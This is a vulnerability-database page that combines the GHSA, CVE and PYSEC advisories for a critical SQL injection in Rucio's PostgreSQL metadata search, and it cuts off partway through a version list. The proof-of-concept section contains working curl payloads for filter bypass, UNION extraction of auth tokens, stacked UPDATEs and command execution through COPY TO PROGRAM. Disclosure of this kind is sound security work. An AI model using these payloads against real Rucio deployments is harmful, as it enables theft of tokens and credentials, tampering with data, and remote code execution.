Vulnerability-Lookup

GHSA-6J7P-QJHG-9947

Vulnerability from github – Published: 2026-05-06 16:44 – Updated: 2026-06-30 16:43

Summary

Rucio has SQL Injection in FilterEngine PostgreSQL Query Builder via DID Search API

Details

Summary

A SQL injection vulnerability in FilterEngine.create_postgres_query allows any authenticated Rucio user to execute arbitrary SQL against the configured PostgreSQL metadata database through the DID search endpoint (GET /dids/<scope>/dids/search). When the external metadata plugin postgres_meta is configured, attacker-controlled filter keys and values are interpolated directly into raw SQL statements via Python str.format. This enables full database compromise including data exfiltration, data modification, and potential remote code execution via COPY ... FROM PROGRAM.

Details

The vulnerability exists in lib/rucio/core/did_meta_plugins/filter_engine.py within the create_postgres_query() method (lines 408-484). This method builds raw SQL strings via Python .format() across 6 distinct injection points:

filter_engine.py:477 (string equality — default branch):

expression = "{}->>'{}'  {} '{}'".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)

filter_engine.py:442 (wildcard/LIKE branch):

expression = "{}->>'{}'  LIKE '{}' ".format(jsonb_column, key, value.replace('*', '%'))

filter_engine.py:456 (boolean branch — value unquoted):

expression = "({}->>'{}'  )::boolean {} {}".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)

filter_engine.py:462 (numeric branch — value unquoted):

expression = "({}->>'{}'  )::float {} {}".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)

filter_engine.py:472 (datetime branch):

expression = "({}->>'{}'  )::timestamp {} '{}'".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)

filter_engine.py:479 (non-JSONB column fallback):

expression = "{} {} '{}'".format(key, POSTGRES_OP_MAP[oper], value)

Both key and value are attacker-controlled strings derived from HTTP query parameters. The resulting expression string is concatenated into a larger query string (postgres_query_str) that is then passed to psycopg3's sql.SQL():

# postgres_meta.py:314-316
statement = sql.SQL("SELECT * FROM {} WHERE {} {}").format(
    sql.Identifier(self.table),
    sql.SQL(postgres_query_str),   # <-- UNSANITIZED user-derived string
    sql.SQL("LIMIT {}").format(sql.Literal(limit)) if limit else sql.SQL("")
)

sql.SQL() wraps the string as a trusted SQL syntax fragment — it does not escape or parameterize its contents. The statement is then executed via cur.execute(statement) at postgres_meta.py:321.

Why no existing defense blocks this

The data flow from HTTP request to SQL execution passes through multiple layers with no effective sanitization:

HTTP input (dids.py:265-274): Filter keys and values are accepted from query parameters via ast.literal_eval() or directly from individual query argument names/values. The fallback path only excludes 4 reserved keys (type, limit, long, recursive).
Plugin routing (did_meta_plugins/__init__.py:227-248): Each filter key is checked via manages_key(). postgres_meta.manages_key() unconditionally returns True (line 345) — it accepts ANY filter key without validation.
FilterEngine initialization: The postgres_meta plugin instantiates FilterEngine with strict_coerce=False. Unknown keys pass through _coerce_filter_word_to_model_attribute() as raw strings.
Value typecasting (filter_engine.py:275-297): _try_typecast_string() attempts to parse the value as a boolean, datetime, or number. SQL injection strings fail all these parsers and are returned unchanged.
Sanity checks (filter_engine.py:149-190): _sanity_check_translated_filters() does not validate arbitrary key names or values for SQL-unsafe characters.
SQL construction (filter_engine.py:442-479): The unsanitized key and value strings are interpolated directly into raw SQL strings via .format().
SQL execution (postgres_meta.py:316,321): The raw string is wrapped in sql.SQL() (treated as trusted SQL) and executed via cur.execute().

PoC

Prerequisites: - A Rucio instance using PostgreSQL as the database backend - The postgres_meta metadata plugin explicitly configured (this is NOT the default — the default is json_meta) - Any valid Rucio authentication token (obtainable via userpass, x509, OIDC, SAML, SSH, or GSS)

1. Obtain an authentication token

TOKEN=$(curl -s -k \
  -H 'X-Rucio-Account: testuser' \
  -H 'X-Rucio-Username: testuser' \
  -H 'X-Rucio-Password: testpass' \
  'https://rucio.example.org/auth/userpass' \
  -D - 2>/dev/null | grep -i 'x-rucio-auth-token' | awk '{print $2}' | tr -d '\r')

2. Value injection — boolean-based filter bypass

# postgres_meta uses create_postgres_query() -> raw string formatting
# filter_engine.py:477: "{}->>'{}'  {} '{}'".format(jsonb_column, key, op, value)

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x'%20OR%20'1'%3D'1"

# URL-decoded: custom_key=x' OR '1'='1
#
# Generated SQL fragment:
#   data->>'custom_key' = 'x' OR '1'='1'
#
# Effect: WHERE clause always true, returns all rows

3. Key injection via query parameter name

# The key is single-quoted but unescaped — injection via closing quote.
# filter_engine.py:477: "{}->>'{}'  {} '{}'".format(jsonb_column, key, op, value)

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?x'%20OR%201%3D1--%20=anything"

# URL-decoded: key = x' OR 1=1--  , value = anything
#
# Generated SQL fragment:
#   data->>'x' OR 1=1-- ' = 'anything'
#              ^^^^^^^^ injected, -- comments out the rest

4. UNION-based data extraction

# Extract auth tokens from the tokens table.

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x'%20UNION%20SELECT%20token%2Caccount%2CNULL%2CNULL%20FROM%20tokens%20--"

# URL-decoded: custom_key=x' UNION SELECT token,account,NULL,NULL FROM tokens --
#
# Effect: Appends tokens table contents to the result set

5. Stacked queries — data modification

# PostgreSQL supports multiple statements separated by ;

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x';%20UPDATE%20accounts%20SET%20account_type%3D'SERVICE'%20WHERE%20account%3D'testuser';%20--"

# URL-decoded: custom_key=x'; UPDATE accounts SET account_type='SERVICE' WHERE account='testuser'; --

6. Remote code execution (if database user has superuser privileges)

# PostgreSQL COPY ... FROM PROGRAM executes OS commands

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x';%20COPY%20(SELECT%20'')%20TO%20PROGRAM%20'id%20>%20/tmp/pwned';%20--"

# URL-decoded: custom_key=x'; COPY (SELECT '') TO PROGRAM 'id > /tmp/pwned'; --
# Requires: database user with pg_execute_server_program or superuser role

7. Alternative entry via `filters` query parameter

# The filters parameter accepts Python literal syntax via ast.literal_eval().

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  'https://rucio.example.org/dids/user.testuser/dids/search?filters=%5B%7B%22custom_key%22%3A%20%22x%27%20OR%20%271%27%3D%271%22%7D%5D'

# URL-decoded: filters=[{"custom_key": "x' OR '1'='1"}]

Impact

Vulnerability type: SQL Injection (CWE-89)

CVSS v3.1: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

Who is impacted:

Rucio deployments that have explicitly configured the postgres_meta metadata plugin.

What an attacker can do:

Data modification: PostgreSQL stacked queries enable arbitrary INSERT/UPDATE/DELETE operations.
Remote code execution: Via PostgreSQL's COPY ... FROM PROGRAM if the database user has superuser or pg_execute_server_program privileges.
File system access: Via COPY ... TO/FROM '/path' if filesystem permissions allow.

Further elevation when the same postgres database and access is used for metadata and for Rucio itself

Full database read access: Extract any table including identities (password hashes and salts), tokens (active authentication sessions), accounts (user enumeration), rse_settings (storage endpoint credentials), and rules (data management policies) could be extracted.
Password hash extraction: Combined with Rucio's use of single-iteration SHA-256 for password hashing (no KDF), extracted hashes can be cracked at GPU speed.
Authentication token theft: Active bearer tokens can be extracted and used for immediate session hijacking.

Required attacker privileges: Any authenticated Rucio user. Authentication tokens can be obtained via any supported method (userpass, x509, OIDC, SAML, SSH, GSS). No special roles or administrative permissions are required. The GET /dids/<scope>/dids/search endpoint is available to all authenticated users.

Severity

9.9 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

9.0 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rucio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.30.0"
            },
            {
              "fixed": "35.8.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rucio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "36.0.0"
            },
            {
              "fixed": "38.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rucio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "39.0.0"
            },
            {
              "fixed": "39.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rucio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "40.0.0"
            },
            {
              "fixed": "40.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29090"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T16:44:07Z",
    "nvd_published_at": "2026-05-06T18:16:02Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nA SQL injection vulnerability in `FilterEngine.create_postgres_query` allows any authenticated Rucio user to execute arbitrary SQL against the configured PostgreSQL metadata database through the DID search endpoint (`GET /dids/\u003cscope\u003e/dids/search`). When the external metadata plugin `postgres_meta` is configured, attacker-controlled filter keys and values are interpolated directly into raw SQL statements via Python `str.format`. This enables full database compromise including data exfiltration, data modification, and potential remote code execution via `COPY ... FROM PROGRAM`.\n\n---\n\n### Details\n\nThe vulnerability exists in `lib/rucio/core/did_meta_plugins/filter_engine.py` within the `create_postgres_query()` method (lines 408-484). This method builds raw SQL strings via Python `.format()` across 6 distinct injection points:\n\n**filter_engine.py:477** (string equality \u2014 default branch):\n```python\nexpression = \"{}-\u003e\u003e\u0027{}\u0027  {} \u0027{}\u0027\".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)\n```\n\n**filter_engine.py:442** (wildcard/LIKE branch):\n```python\nexpression = \"{}-\u003e\u003e\u0027{}\u0027  LIKE \u0027{}\u0027 \".format(jsonb_column, key, value.replace(\u0027*\u0027, \u0027%\u0027))\n```\n\n**filter_engine.py:456** (boolean branch \u2014 value unquoted):\n```python\nexpression = \"({}-\u003e\u003e\u0027{}\u0027  )::boolean {} {}\".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)\n```\n\n**filter_engine.py:462** (numeric branch \u2014 value unquoted):\n```python\nexpression = \"({}-\u003e\u003e\u0027{}\u0027  )::float {} {}\".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)\n```\n\n**filter_engine.py:472** (datetime branch):\n```python\nexpression = \"({}-\u003e\u003e\u0027{}\u0027  )::timestamp {} \u0027{}\u0027\".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)\n```\n\n**filter_engine.py:479** (non-JSONB column fallback):\n```python\nexpression = \"{} {} \u0027{}\u0027\".format(key, POSTGRES_OP_MAP[oper], value)\n```\n\nBoth `key` and `value` are attacker-controlled strings derived from HTTP query parameters. The resulting `expression` string is concatenated into a larger query string (`postgres_query_str`) that is then passed to `psycopg3`\u0027s `sql.SQL()`:\n\n```python\n# postgres_meta.py:314-316\nstatement = sql.SQL(\"SELECT * FROM {} WHERE {} {}\").format(\n    sql.Identifier(self.table),\n    sql.SQL(postgres_query_str),   # \u003c-- UNSANITIZED user-derived string\n    sql.SQL(\"LIMIT {}\").format(sql.Literal(limit)) if limit else sql.SQL(\"\")\n)\n```\n\n`sql.SQL()` wraps the string as a trusted SQL syntax fragment \u2014 it does **not** escape or parameterize its contents. The statement is then executed via `cur.execute(statement)` at `postgres_meta.py:321`.\n\n#### Why no existing defense blocks this\n\nThe data flow from HTTP request to SQL execution passes through multiple layers with no effective sanitization:\n\n1. **HTTP input** (`dids.py:265-274`): Filter keys and values are accepted from query parameters via `ast.literal_eval()` or directly from individual query argument names/values. The fallback path only excludes 4 reserved keys (`type`, `limit`, `long`, `recursive`).\n\n2. **Plugin routing** (`did_meta_plugins/__init__.py:227-248`): Each filter key is checked via `manages_key()`. `postgres_meta.manages_key()` **unconditionally returns `True`** (line 345) \u2014 it accepts ANY filter key without validation.\n\n3. **FilterEngine initialization**: The `postgres_meta` plugin instantiates `FilterEngine` with `strict_coerce=False`. Unknown keys pass through `_coerce_filter_word_to_model_attribute()` as raw strings.\n\n4. **Value typecasting** (`filter_engine.py:275-297`): `_try_typecast_string()` attempts to parse the value as a boolean, datetime, or number. SQL injection strings fail all these parsers and are returned unchanged.\n\n5. **Sanity checks** (`filter_engine.py:149-190`): `_sanity_check_translated_filters()` does **not** validate arbitrary key names or values for SQL-unsafe characters.\n\n6. **SQL construction** (`filter_engine.py:442-479`): The unsanitized key and value strings are interpolated directly into raw SQL strings via `.format()`.\n\n7. **SQL execution** (`postgres_meta.py:316,321`): The raw string is wrapped in `sql.SQL()` (treated as trusted SQL) and executed via `cur.execute()`.\n\n---\n\n### PoC\n\n**Prerequisites:**\n- A Rucio instance using PostgreSQL as the database backend\n- The `postgres_meta` metadata plugin **explicitly configured** (this is NOT the default \u2014 the default is `json_meta`)\n- Any valid Rucio authentication token (obtainable via userpass, x509, OIDC, SAML, SSH, or GSS)\n\n#### 1. Obtain an authentication token\n\n```bash\nTOKEN=$(curl -s -k \\\n  -H \u0027X-Rucio-Account: testuser\u0027 \\\n  -H \u0027X-Rucio-Username: testuser\u0027 \\\n  -H \u0027X-Rucio-Password: testpass\u0027 \\\n  \u0027https://rucio.example.org/auth/userpass\u0027 \\\n  -D - 2\u003e/dev/null | grep -i \u0027x-rucio-auth-token\u0027 | awk \u0027{print $2}\u0027 | tr -d \u0027\\r\u0027)\n```\n\n#### 2. Value injection \u2014 boolean-based filter bypass\n\n```bash\n# postgres_meta uses create_postgres_query() -\u003e raw string formatting\n# filter_engine.py:477: \"{}-\u003e\u003e\u0027{}\u0027  {} \u0027{}\u0027\".format(jsonb_column, key, op, value)\n\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  \"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x\u0027%20OR%20\u00271\u0027%3D\u00271\"\n\n# URL-decoded: custom_key=x\u0027 OR \u00271\u0027=\u00271\n#\n# Generated SQL fragment:\n#   data-\u003e\u003e\u0027custom_key\u0027 = \u0027x\u0027 OR \u00271\u0027=\u00271\u0027\n#\n# Effect: WHERE clause always true, returns all rows\n```\n\n#### 3. Key injection via query parameter name\n\n```bash\n# The key is single-quoted but unescaped \u2014 injection via closing quote.\n# filter_engine.py:477: \"{}-\u003e\u003e\u0027{}\u0027  {} \u0027{}\u0027\".format(jsonb_column, key, op, value)\n\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  \"https://rucio.example.org/dids/user.testuser/dids/search?x\u0027%20OR%201%3D1--%20=anything\"\n\n# URL-decoded: key = x\u0027 OR 1=1--  , value = anything\n#\n# Generated SQL fragment:\n#   data-\u003e\u003e\u0027x\u0027 OR 1=1-- \u0027 = \u0027anything\u0027\n#              ^^^^^^^^ injected, -- comments out the rest\n```\n\n#### 4. UNION-based data extraction\n\n```bash\n# Extract auth tokens from the tokens table.\n\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  \"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x\u0027%20UNION%20SELECT%20token%2Caccount%2CNULL%2CNULL%20FROM%20tokens%20--\"\n\n# URL-decoded: custom_key=x\u0027 UNION SELECT token,account,NULL,NULL FROM tokens --\n#\n# Effect: Appends tokens table contents to the result set\n```\n\n#### 5. Stacked queries \u2014 data modification\n\n```bash\n# PostgreSQL supports multiple statements separated by ;\n\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  \"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x\u0027;%20UPDATE%20accounts%20SET%20account_type%3D\u0027SERVICE\u0027%20WHERE%20account%3D\u0027testuser\u0027;%20--\"\n\n# URL-decoded: custom_key=x\u0027; UPDATE accounts SET account_type=\u0027SERVICE\u0027 WHERE account=\u0027testuser\u0027; --\n```\n\n#### 6. Remote code execution (if database user has superuser privileges)\n\n```bash\n# PostgreSQL COPY ... FROM PROGRAM executes OS commands\n\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  \"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x\u0027;%20COPY%20(SELECT%20\u0027\u0027)%20TO%20PROGRAM%20\u0027id%20\u003e%20/tmp/pwned\u0027;%20--\"\n\n# URL-decoded: custom_key=x\u0027; COPY (SELECT \u0027\u0027) TO PROGRAM \u0027id \u003e /tmp/pwned\u0027; --\n# Requires: database user with pg_execute_server_program or superuser role\n```\n\n#### 7. Alternative entry via `filters` query parameter\n\n```bash\n# The filters parameter accepts Python literal syntax via ast.literal_eval().\n\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  \u0027https://rucio.example.org/dids/user.testuser/dids/search?filters=%5B%7B%22custom_key%22%3A%20%22x%27%20OR%20%271%27%3D%271%22%7D%5D\u0027\n\n# URL-decoded: filters=[{\"custom_key\": \"x\u0027 OR \u00271\u0027=\u00271\"}]\n```\n\n---\n\n### Impact\n\n**Vulnerability type:** SQL Injection (CWE-89)\n\n**CVSS v3.1:** 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)\n\n**Who is impacted:**\n\n- Rucio deployments that have explicitly configured the `postgres_meta` metadata plugin.\n\n**What an attacker can do:**\n\n- **Data modification:** PostgreSQL stacked queries enable arbitrary `INSERT`/`UPDATE`/`DELETE` operations.\n- **Remote code execution:** Via PostgreSQL\u0027s `COPY ... FROM PROGRAM` if the database user has superuser or `pg_execute_server_program` privileges.\n- **File system access:** Via `COPY ... TO/FROM \u0027/path\u0027` if filesystem permissions allow.\n\n**Further elevation when the same postgres database and access is used for metadata and for Rucio itself**\n\n- **Full database read access:** Extract any table including `identities` (password hashes and salts), `tokens` (active authentication sessions), `accounts` (user enumeration), `rse_settings` (storage endpoint credentials), and `rules` (data management policies) could be extracted.\n- **Password hash extraction:** Combined with Rucio\u0027s use of single-iteration SHA-256 for password hashing (no KDF), extracted hashes can be cracked at GPU speed.\n- **Authentication token theft:** Active bearer tokens can be extracted and used for immediate session hijacking.\n\n**Required attacker privileges:** Any authenticated Rucio user. Authentication tokens can be obtained via any supported method (userpass, x509, OIDC, SAML, SSH, GSS). No special roles or administrative permissions are required. The `GET /dids/\u003cscope\u003e/dids/search` endpoint is available to all authenticated users.",
  "id": "GHSA-6j7p-qjhg-9947",
  "modified": "2026-06-30T16:43:52Z",
  "published": "2026-05-06T16:44:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rucio/rucio/security/advisories/GHSA-6j7p-qjhg-9947"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29090"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-6j7p-qjhg-9947"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/rucio/PYSEC-2026-527.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rucio/rucio"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/rucio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Rucio has SQL Injection in FilterEngine PostgreSQL Query Builder via DID Search API"
}

CVE-2026-29090 (GCVE-0-2026-29090)

Vulnerability from cvelistv5 – Published: 2026-05-06 17:21 – Updated: 2026-05-06 18:17

Title

Rucio SQL injection in postgres_meta DID search path compromises PostgreSQL metadata database

Summary

### Summary A SQL injection vulnerability exists in Rucio versions 1.30.0 and later before 35.8.5, 38.5.5, 39.4.2, and 40.1.1, in `FilterEngine.create_postgres_query()`. This allows any authenticated Rucio user to execute arbitrary SQL against the PostgreSQL metadata database through the DID search endpoint (`GET /dids/<scope>/dids/search`). When the `postgres_meta` metadata plugin is configured, attacker-controlled filter keys and values are interpolated directly into raw SQL strings via Python `.format()`, then passed to `psycopg3`'s `sql.SQL()` which treats the string as trusted SQL syntax. Depending on the database privileges assigned to the service account, exploitation can expose sensitive tables, modify or delete metadata, access server-side files, or achieve code execution through PostgreSQL features such as COPY ... FROM PROGRAM. This issue affects deployments that explicitly use the postgres_meta metadata plugin. This vulnerability has been fixed in versions 35.8.5, 38.5.5, 39.4.2, and 40.1.1.

Severity

9 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/rucio/rucio/security/advisorie…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
rucio	rucio	Affected: >= 1.30.0, < 35.8.5 Affected: >= 35.9.0, < 38.5.5 Affected: >= 38.6.0, < 39.4.2 Affected: >= 40.0.0, < 40.1.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-29090",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-06T18:17:46.352636Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-06T18:17:58.146Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "rucio",
          "vendor": "rucio",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.30.0, \u003c 35.8.5"
            },
            {
              "status": "affected",
              "version": "\u003e= 35.9.0, \u003c 38.5.5"
            },
            {
              "status": "affected",
              "version": "\u003e= 38.6.0, \u003c 39.4.2"
            },
            {
              "status": "affected",
              "version": "\u003e= 40.0.0, \u003c 40.1.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "### Summary\n\nA SQL injection vulnerability exists in Rucio versions 1.30.0 and later before 35.8.5, 38.5.5, 39.4.2, and 40.1.1, in `FilterEngine.create_postgres_query()`. This allows any authenticated Rucio user to execute arbitrary SQL against the PostgreSQL metadata database through the DID search endpoint (`GET /dids/\u003cscope\u003e/dids/search`). When the `postgres_meta` metadata plugin is configured, attacker-controlled filter keys and values are interpolated directly into raw SQL strings via Python `.format()`, then passed to `psycopg3`\u0027s `sql.SQL()` which treats the string as trusted SQL syntax. \n\nDepending on the database privileges assigned to the service account, exploitation can expose sensitive tables, modify or delete metadata, access server-side files, or achieve code execution through PostgreSQL features such as COPY ... FROM PROGRAM. This issue affects deployments that explicitly use the postgres_meta metadata plugin. This vulnerability has been fixed in versions 35.8.5, 38.5.5, 39.4.2, and 40.1.1."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "PRESENT",
            "attackVector": "NETWORK",
            "baseScore": 9,
            "baseSeverity": "CRITICAL",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "HIGH",
            "subConfidentialityImpact": "HIGH",
            "subIntegrityImpact": "HIGH",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-89",
              "description": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-06T17:21:24.141Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/rucio/rucio/security/advisories/GHSA-6j7p-qjhg-9947",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/rucio/rucio/security/advisories/GHSA-6j7p-qjhg-9947"
        }
      ],
      "source": {
        "advisory": "GHSA-6j7p-qjhg-9947",
        "discovery": "UNKNOWN"
      },
      "title": "Rucio SQL injection in postgres_meta DID search path compromises PostgreSQL metadata database"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-29090",
    "datePublished": "2026-05-06T17:21:24.141Z",
    "dateReserved": "2026-03-03T21:54:06.707Z",
    "dateUpdated": "2026-05-06T18:17:58.146Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

PYSEC-2026-527

Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-07-02 12:46

Details

Summary

Details

Will follow in two weeks (2025-05-19).

Impact

Vulnerability type: SQL Injection (CWE-89)

Who is impacted:

Rucio deployments that have explicitly configured the postgres_meta metadata plugin.

What an attacker can do:

Data modification: PostgreSQL stacked queries enable arbitrary INSERT/UPDATE/DELETE operations.
Remote code execution: Via PostgreSQL's COPY ... FROM PROGRAM if the database user has superuser or pg_execute_server_program privileges.
File system access: Via COPY ... TO/FROM '/path' if filesystem permissions allow.

Further elevation when the same postgres database and access is used for metadata and for Rucio itself

Full database read access: Extract any table including identities (password hashes and salts), tokens (active authentication sessions), accounts (user enumeration), rse_settings (storage endpoint credentials), and rules (data management policies) could be extracted.
Password hash extraction: Combined with Rucio's use of single-iteration SHA-256 for password hashing (no KDF), extracted hashes can be cracked at GPU speed.
Authentication token theft: Active bearer tokens can be extracted and used for immediate session hijacking.

Severity

9.9 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

9.0 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Impacted products

Name	purl
rucio	pkg:pypi/rucio

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rucio",
        "purl": "pkg:pypi/rucio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.30.0"
            },
            {
              "fixed": "35.8.5"
            },
            {
              "introduced": "36.0.0"
            },
            {
              "fixed": "38.5.5"
            },
            {
              "introduced": "39.0.0"
            },
            {
              "fixed": "39.4.2"
            },
            {
              "introduced": "40.0.0"
            },
            {
              "fixed": "40.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.30.0",
        "1.30.1",
        "1.30.2",
        "1.30.3",
        "1.30.4",
        "1.30.5",
        "1.30.6",
        "1.30.7",
        "1.30.8",
        "1.31.0",
        "1.31.0rc1",
        "1.31.0rc2",
        "1.31.0rc3",
        "1.31.1",
        "1.31.2",
        "1.31.3",
        "1.31.4",
        "1.31.5",
        "1.31.6",
        "1.31.7",
        "32.0.0",
        "32.0.0rc1",
        "32.0.0rc2",
        "32.1.0",
        "32.2.0",
        "32.3.0",
        "32.3.1",
        "32.4.0",
        "32.5.0",
        "32.5.0.post1",
        "32.5.1",
        "32.6.0",
        "32.6.0.post1",
        "32.7.0",
        "32.8.0",
        "32.8.1",
        "32.8.2",
        "32.8.3",
        "32.8.4",
        "32.8.5",
        "32.8.6",
        "33.0.0",
        "33.0.0rc1",
        "33.0.0rc2",
        "33.0.0rc3",
        "33.1.0",
        "33.2.0",
        "33.2.1",
        "33.3.0",
        "33.4.0",
        "33.4.0.post1",
        "33.5.0",
        "33.6.0",
        "33.6.1",
        "34.0.0",
        "34.0.0rc1",
        "34.0.0rc2",
        "34.1.0",
        "34.2.0",
        "34.3.0",
        "34.4.0",
        "34.4.1",
        "34.4.2",
        "34.4.3",
        "34.5.0",
        "34.6.0",
        "35.0.0",
        "35.0.0rc1",
        "35.0.0rc2",
        "35.0.1",
        "35.1.0",
        "35.1.1",
        "35.2.0",
        "35.2.1",
        "35.3.0",
        "35.4.0",
        "35.4.1",
        "35.5.0",
        "35.6.0",
        "35.6.1",
        "35.7.0",
        "35.8.0",
        "35.8.1",
        "35.8.2",
        "35.8.3",
        "35.8.4",
        "36.0.0",
        "36.0.0.post1",
        "36.0.0.post2",
        "36.1.0",
        "36.2.0",
        "36.3.0",
        "36.4.0",
